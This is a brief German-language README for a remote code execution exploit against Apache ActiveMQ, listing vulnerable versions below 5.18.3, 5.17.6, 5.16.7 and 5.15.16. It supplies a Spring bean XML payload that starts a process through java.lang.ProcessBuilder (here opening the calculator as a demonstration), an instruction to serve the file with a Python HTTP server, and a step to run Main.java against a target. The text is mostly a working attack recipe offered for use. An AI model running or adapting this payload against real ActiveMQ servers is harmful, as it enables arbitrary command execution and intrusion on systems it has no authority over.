ActiveMQ RCE

Betroffene Versionen

• Version < 5.18.3
• Version < 5.17.6
• Version < 5.16.7
• Version < 5.15.16

Verwendung

Erstellen Sie eine Spring-Bean-XML-Datei

<?xml version="1.0" encoding="UTF-8" ?>
  <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
      <constructor-arg >
        <list>
            <value>open</value>
            <value>-a</value>
            <value>calculator</value>
        </list>
      </constructor-arg>
    </bean>
  </beans>

Öffnen Sie einen HTTP-Server

python3 -m http.server

Führen Sie die Datei Main.java aus (passen Sie die Adresse nach Bedarf an).